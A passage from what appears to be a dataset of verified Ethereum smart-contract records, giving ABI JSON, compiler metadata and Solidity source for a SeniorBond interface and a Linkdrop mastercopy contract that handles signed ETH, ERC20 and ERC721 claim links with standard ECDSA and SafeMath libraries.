ferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"smartYield","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.7.6+commit.7338295f | true | 9,999 | 0000000000000000000000004b8d90d68f26def303dcb6cfc9b63a1aaec15840000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000164261726e4272696467652063555344432073424f4e4400000000000000000000000000000000000000000000000000000000000000000000000000000000000e62625f73424f4e445f6355534443000000000000000000000000000000000000 | Default | false | ||||
SeniorBond | contracts/IBond.sol | 0xa7382ebcca0602df60833b612476b20d631555de | Solidity | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
interface IBond is IERC721 {
function smartYield() external view returns (address);
function mint(address to, uint256 tokenId) external;
function burn(uint256 tokenId) external;
} | [{"inputs":[{"internalType":"address","name":"smartYield_","type":"address"},{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId_","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to_","type":"address"},{"internalType":"uint256","name":"tokenId_","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"smartYield","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.7.6+commit.7338295f | true | 9,999 | 0000000000000000000000004b8d90d68f26def303dcb6cfc9b63a1aaec15840000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000164261726e4272696467652063555344432073424f4e4400000000000000000000000000000000000000000000000000000000000000000000000000000000000e62625f73424f4e445f6355534443000000000000000000000000000000000000 | Default | false | ||||
LinkdropMastercopy | LinkdropMastercopy.sol | 0x56c078e4f0a06e63455c3a35f08bafe2d6229c5d | Solidity | pragma solidity ^0.5.6;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ILinkdropERC20 {
function verifyLinkdropSignerSignature
(
uint _weiAmount,
address _tokenAddress,
uint _tokenAmount,
uint _expiration,
address _linkId,
bytes calldata _signature
)
external view returns (bool);
function verifyReceiverSignature
(
address _linkId,
address _receiver,
bytes calldata _signature
)
external view returns (bool);
function checkClaimParams
(
uint _weiAmount,
address _tokenAddress,
uint _tokenAmount,
uint _expiration,
address _linkId,
bytes calldata _linkdropSignerSignature,
address _receiver,
bytes calldata _receiverSignature,
uint _fee
)
external view returns (bool);
function claim
(
uint _weiAmount,
address _tokenAddress,
uint _tokenAmount,
uint _expiration,
address _linkId,
bytes calldata _linkdropSignerSignature,
address payable _receiver,
bytes calldata _receiverSignature,
address payable _feeReceiver,
uint _fee
)
external returns (bool);
}
interface ILinkdropERC721 {
function verifyLinkdropSignerSignatureERC721
(
uint _weiAmount,
address _nftAddress,
uint _tokenId,
uint _expiration,
address _linkId,
bytes calldata _signature
)
external view returns (bool);
function verifyReceiverSignatureERC721
(
address _linkId,
address _receiver,
bytes calldata _signature
)
external view returns (bool);
function checkClaimParamsERC721
(
uint _weiAmount,
address _nftAddress,
uint _tokenId,
uint _expiration,
address _linkId,
bytes calldata _linkdropSignerSignature,
address _receiver,
bytes calldata _receiverSignature,
uint _fee
)
external view returns (bool);
function claimERC721
(
uint _weiAmount,
address _nftAddress,
uint _tokenId,
uint _expiration,
address _linkId,
bytes calldata _linkdropSignerSignature,
address payable _receiver,
bytes calldata _receiverSignature,
address payable _feeReceiver,
uint _fee
)
external returns (bool);
}
interface ILinkdropCommon {
function initialize
(
address _owner,
address payable _linkdropMaster,
uint _version,
uint _chainId
)
external returns (bool);
function isClaimedLink(address _linkId) external view returns (bool);
function isCanceledLink(address _linkId) external view returns (bool);
function paused() external view returns (bool);
function cancel(address _linkId) external returns (bool);
function withdraw() external returns (bool);
function pause() external returns (bool);
function unpause() external returns (bool);
function addSigner(address _linkdropSigner) external payable returns (bool);
function removeSigner(address _linkdropSigner) external returns (bool);
function destroy() external;
function getMasterCopyVersion() external view returns (uint);
function () external payable;
}
contract LinkdropStorage {
// Address of owner deploying this contract (usually factory)
address public owner;
// Address corresponding to linkdrop master key
address payable public linkdropMaster;
// Version of mastercopy contract
uint public version;
// Network id
uint public chainId;
// Indicates whether an address corresponds to linkdrop signing key
mapping (address => bool) public isLinkdropSigner;
// Indicates who the link is claimed to
mapping (address => address) public claimedTo;
// Indicates whether the link is canceled or not
mapping (address => bool) internal _canceled;
// Indicates whether the initializer function has been called or not
bool public initialized;
// Indicates whether the contract is paused or not
bool internal _paused;
// Events
event Canceled(address linkId);
event Claimed(address indexed linkId, uint ethAmount, address indexed token, uint tokenAmount, address receiver);
event ClaimedERC721(address indexed linkId, uint ethAmount, address indexed nft, uint tokenId, address receiver);
event Paused();
event Unpaused();
event AddedSigningKey(address linkdropSigner);
event RemovedSigningKey(address linkdropSigner);
}
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* (.note) This call _does not revert_ if the signature is invalid, or
* if the signer is otherwise unable to be retrieved. In those scenarios,
* the zero address is returned.
*
* (.warning) `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise)
* be too long), and then calling `toEthSignedMessageHash` on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v != 27 && v != 28) {
return address(0);
}
// If the signature is valid (and not malleable), return the signer address
return ecrecover(hash, v, r, s);
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* [`eth_sign`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign)
* JSON-RPC method.
*
* See `recover`.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* [EIP](https://eips.ethereum.org/EIPS/eip-165).
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others (`ERC165Checker`).
*
* For an implementation, see `ERC165`.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
contract LinkdropCommon is ILinkdropCommon, LinkdropStorage {
/**
* @dev Function called only once to set owner, linkdrop master, contract version and chain id
* @param _owner Owner address
* @param _linkdropMaster Address corresponding to master key
* @param _version Contract version
* @param _chainId Network id
*/
function initialize
(
address _owner,
address payable _linkdropMaster,
uint _version,
uint _chainId
)
public
returns (bool)
{
require(!initialized, "LINKDROP_PROXY_CONTRACT_ALREADY_INITIALIZED");
owner = _owner;
linkdropMaster = _linkdropMaster;
isLinkdropSigner[linkdropMaster] = true;
version = _version;
chainId = _chainId;
initialized = true;
return true;
}
modifier onlyLinkdropMaster() {
require(msg.sender == linkdropMaster, "ONLY_LINKDROP_MASTER");
_;
}
modifier onlyLinkdropMasterOrFactory() {
require (msg.sender == linkdropMaster || msg.sender == owner, "ONLY_LINKDROP_MASTER_OR_FACTORY");
_;
}
modifier onlyFactory() {
require(msg.sender == owner, "ONLY_FACTORY");
_;
}
modifier whenNotPaused() {
require(!paused(), "LINKDROP_PROXY_CONTRACT_PAUSED");
_;
}
/**
* @dev Indicates whether a link is claimed or not
* @param _linkId Address corresponding to link key
* @return True if claimed
*/
function isClaimedLink(address _linkId) public view returns (bool) {
return claimedTo[_linkId] != address(0);
}
/**
* @dev Indicates whether a link is canceled or not
* @param _linkId Address corresponding to link key
* @return True if canceled
*/
function isCanceledLink(address _linkId) public view returns (bool) {
return _canceled[_linkId];
}
/**
* @dev Indicates whether a contract is paused or not
* @return True if paused
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Function to cancel a link, can only be called by linkdrop master
* @param _linkId Address corresponding to link key
* @return True if success
*/
function cancel(address _linkId) external onlyLinkdropMaster returns (bool) {
require(!isClaimedLink(_linkId), "LINK_CLAIMED");
_canceled[_linkId] = true;
emit Canceled(_linkId);
return true;
}
/**
* @dev Function to withdraw eth to linkdrop master, can only be called by linkdrop master
* @return True if success
*/
function withdraw() external onlyLinkdropMaster returns (bool) {
linkdropMaster.transfer(address(this).balance);
return true;
}
/**
* @dev Function to pause contract, can only be called by linkdrop master
* @return True if success
*/
function pause() external onlyLinkdropMaster whenNotPaused returns (bool) {
_paused = true;
emit Paused();
return true;
}
/**
* @dev Function to unpause contract, can only be called by linkdrop master
* @return True if success
*/
function unpause() external onlyLinkdropMaster returns (bool) {
require(paused(), "LINKDROP_CONTRACT_ALREADY_UNPAUSED");
_paused = false;
emit Unpaused();
return true;
}
/**
* @dev Function to add new signing key, can only be called by linkdrop master or owner (factory contract)
* @param _linkdropSigner Address corresponding to signing key
* @return True if success
*/
function addSigner(address _linkdropSigner) external payable onlyLinkdropMasterOrFactory returns (bool) {
require(_linkdropSigner != address(0), "INVALID_LINKDROP_SIGNER_ADDRESS");
isLinkdropSigner[_linkdropSigner] = true;
return true;
}
/**
* @dev Function to remove signing key, can only be called by linkdrop master
* @param _linkdropSigner Address corresponding to signing key
* @return True if success
*/
function removeSigner(address _linkdropSigner) external onlyLinkdropMaster returns (bool) {
require(_linkdropSigner != address(0), "INVALID_LINKDROP_SIGNER_ADDRESS");
isLinkdropSigner[_linkdropSigner] = false;
return true;
}
/**
* @dev Function to destroy this contract, can only be called by owner (factory) or linkdrop master
* Withdraws all the remaining ETH to linkdrop master
*/
function destroy() external onlyLinkdropMasterOrFactory {
selfdestruct(linkdropMaster);
}
/**
* @dev Function for other contracts to be able to fetch the mastercopy version
* @return Master copy version
*/
function getMasterCopyVersion() external view returns (uint) {
return version;
}
/**
* @dev Fallback function to accept ETH
*/
function () external payable {}
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) public view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) public view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either `approve` or `setApproveForAll`.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either `approve` or `setApproveForAll`.
*/
function transferFrom(address from, address to, uint256 tokenId) public;
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract LinkdropERC20 is ILinkdropERC20, LinkdropCommon {
using SafeMath for uint;
/**
* @dev Function to verify linkdrop signer's signature
* @param _weiAmount Amount of wei to be claimed
* @param _tokenAddress Token address
* @param _tokenAmount Amount of tokens to be claimed (in atomic value)
* @param _expiration Unix timestamp of link expiration time
* @param _linkId Address corresponding to link key
* @param _signature ECDSA signature of linkdrop signer
* @return True if signed with linkdrop signer's private key
*/
function verifyLinkdropSignerSignature
(
uint _weiAmount,
address _tokenAddress,
uint _tokenAmount,
uint _expiration,
address _linkId,
bytes memory _signature
)
public view
returns (bool)
{
bytes32 prefixedHash = ECDSA.toEthSignedMessageHash
(
keccak256
(
abi.encodePacked
(
_weiAmount,
_tokenAddress,
_tokenAmount,
_expiration,
version,
chainId,
_linkId,
address(this)
)
)
);
address signer = ECDSA.recover(prefixedHash, _signature);
return isLinkdropSigner[signer];
}
/**
* @dev Function to verify linkdrop receiver's signature
* @param _linkId Address corresponding to link key
* @param _receiver Address of linkdrop receiver
* @param _signature ECDSA signature of linkdrop receiver
* @return True if signed with link key
*/
function verifyReceiverSignature
(
address _linkId,
address _receiver,
bytes memory _signature
)
public view
returns (bool)
{
bytes32 prefixedHash = ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(_receiver)));
address signer = ECDSA.recover(prefixedHash, _signature);
return signer == _linkId;
}
/**
* @dev Function to verify claim params and make sure the link is not claimed or canceled
* @param _weiAmount Amount of wei to be claimed
* @param _tokenAddress Token address
* @param _tokenAmount Amount of tokens to be claimed (in atomic value)
* @param _expiration Unix timestamp of link expiration time
* @param _linkId Address corresponding to link key
* @param _linkdropSignerSignature ECDSA signature of linkdrop signer
* @param _receiver Address of linkdrop receiver
* @param _receiverSignature ECDSA signature of linkdrop receiver,
* @param _fee Amount of fee to send to fee receiver
* @return True if success
*/
function checkClaimParams
(
uint _weiAmount,
address _tokenAddress,
uint _tokenAmount,
uint _expiration,
address _linkId,
bytes memory _linkdropSignerSignature,
address _receiver,
bytes memory _receiverSignature,
uint _fee
)
public view
whenNotPaused
returns (bool)
{
// If tokens are being claimed
if (_tokenAmount > 0) {
require(_tokenAddress != address(0), "INVALID_TOKEN_ADDRESS");
}
// Make sure link is not claimed
require(isClaimedLink(_linkId) == false, "LINK_CLAIMED");
// Make sure link is not canceled
require(isCanceledLink(_linkId) == false, "LINK_CANCELED");
// Make sure link is not expired
require(_expiration >= now, "LINK_EXPIRED");
// Make sure eth amount is available for this contract
require(address(this).balance >= _weiAmount.add(_fee), "INSUFFICIENT_ETHERS");
// Make sure tokens are available for this contract
if (_tokenAddress != address(0)) {
require
(
IERC20(_tokenAddress).balanceOf(linkdropMaster) >= _tokenAmount,
"INSUFFICIENT_TOKENS"
);
require
(
IERC20(_tokenAddress).allowance(linkdropMaster, address(this)) >= _tokenAmount, "INSUFFICIENT_ALLOWANCE"
);
}
// Verify that link key is legit and signed by linkdrop signer
require
(
verifyLinkdropSignerSignature
(
_weiAmount,
_tokenAddress,
_tokenAmount,
_expiration,
_linkId,
_linkdropSignerSignature
),
"INVALID_LINKDROP_SIGNER_SIGNATURE"
);
// Verify that receiver address is signed by ephemeral key assigned to claim link (link key)
require
(
verifyReceiverSignature(_linkId, _receiver, _receiverSignature),
"INVALID_RECEIVER_SIGNATURE"
);
return true;
}
/**
* @dev Function to claim ETH and/or ERC20 tokens. Can only be called when contract is not paused
* @param _weiAmount Amount of wei to be claimed
* @param _tokenAddress Token address
* @param _tokenAmount Amount of tokens to be claimed (in atomic value)
* @param _expiration Unix timestamp of link expiration time
* @param _linkId Address corresponding to link key
* @param _linkdropSignerSignature ECDSA signature of linkdrop signer
* @param _receiver Address of linkdrop receiver
* @param _receiverSignature ECDSA signature of linkdrop receiver
* @param _feeReceiver Address to transfer fees to
* @param _fee Amount of fee to send to fee receiver
* @return True if success
*/
function claim
(
uint _weiAmount,
address _tokenAddress,
uint _tokenAmount,
uint _expiration,
address _linkId,
bytes calldata _linkdropSignerSignature,
address payable _receiver,
bytes calldata _receiverSignature,
address payable _feeReceiver,
uint _fee
)
external
onlyFactory
whenNotPaused
returns (bool)
{
// Make sure params are valid
require
(
checkClaimParams
(
_weiAmount,
_tokenAddress,
_tokenAmount,
_expiration,
_linkId,
_linkdropSignerSignature,
_receiver,
_receiverSignature,
_fee
),
"INVALID_CLAIM_PARAMS"
);
// Mark link as claimed
claimedTo[_linkId] = _receiver;
// Make sure transfer succeeds
require(_transferFunds(_weiAmount, _tokenAddress, _tokenAmount, _receiver, _feeReceiver, _fee), "TRANSFER_FAILED");
// Emit claim event
emit Claimed(_linkId, _weiAmount, _tokenAddress, _tokenAmount, _receiver);
return true;
}
/**
* @dev Internal function to transfer ethers and/or ERC20 tokens
* @param _weiAmount Amount of wei to be claimed
* @param _tokenAddress Token address
* @param _tokenAmount Amount of tokens to be claimed (in atomic value)
* @param _receiver Address to transfer funds to
* @param _feeReceiver Address to transfer fees to
* @param _fee Amount of fee to send to fee receiver
* @return True if success
*/
function _transferFunds
(
uint _weiAmount,
address _tokenAddress,
uint _tokenAmount,
address payable _receiver,
address payable _feeReceiver,
uint _fee
)
internal returns (bool)
{
// Transfer fees
_feeReceiver.transfer(_fee);
// Transfer ethers
if (_weiAmount > 0) {
_receiver.transfer(_weiAmount);
}
// Transfer tokens
if (_tokenAmount > 0) {
IERC20(_tokenAddress).transferFrom(linkdropMaster, _receiver, _tokenAmount);
}
return true;
}
}
contract LinkdropERC721 is ILinkdropERC721, LinkdropCommon {
using SafeMath for uint;
/**
* @dev Function to verify linkdrop signer's signature
* @param _weiAmount Amount of wei to be claimed
* @param _nftAddress NFT address
* @param _tokenId Token id to be claimed
* @param _expiration Unix timestamp of link expiration time
* @param _linkId Address corresponding to link key
* @param _signature ECDSA signature of linkdrop signer
* @return True if signed with linkdrop signer's private key
*/
function verifyLinkdropSignerSignatureERC721
(
uint _weiAmount,
address _nftAddress,
uint _tokenId,
uint _expiration,
address _linkId,
bytes memory _signature
)
public view
returns (bool)
{
bytes32 prefixedHash = ECDSA.toEthSignedMessageHash
(
keccak256
(
abi.encodePacked
(
_weiAmount,
_nftAddress,
_tokenId,
_expiration,
version,
chainId,
_linkId,
address(this)
)
)
);
address signer = ECDSA.recover(prefixedHash, _signature);
return isLinkdropSigner[signer];
}
/**
* @dev Function to verify linkdrop receiver's signature
* @param _linkId Address corresponding to link key
* @param _receiver Address of linkdrop receiver
* @param _signature ECDSA signature of linkdrop receiver
* @return True if signed with link key
*/
function verifyReceiverSignatureERC721
(
address _linkId,
address _receiver,
bytes memory _signature
)
public view
returns (bool)
{
bytes32 prefixedHash = ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(_receiver)));
address signer = ECDSA.recover(prefixedHash, _signature);
return signer == _linkId;
}
/**
* @dev Function to verify claim params and make sure the link is not claimed or canceled
* @param _weiAmount Amount of wei to be claimed
* @param _nftAddress NFT address
* @param _tokenId Token id to be claimed
* @param _expiration Unix timestamp of link expiration time
* @param _linkId Address corresponding to link key
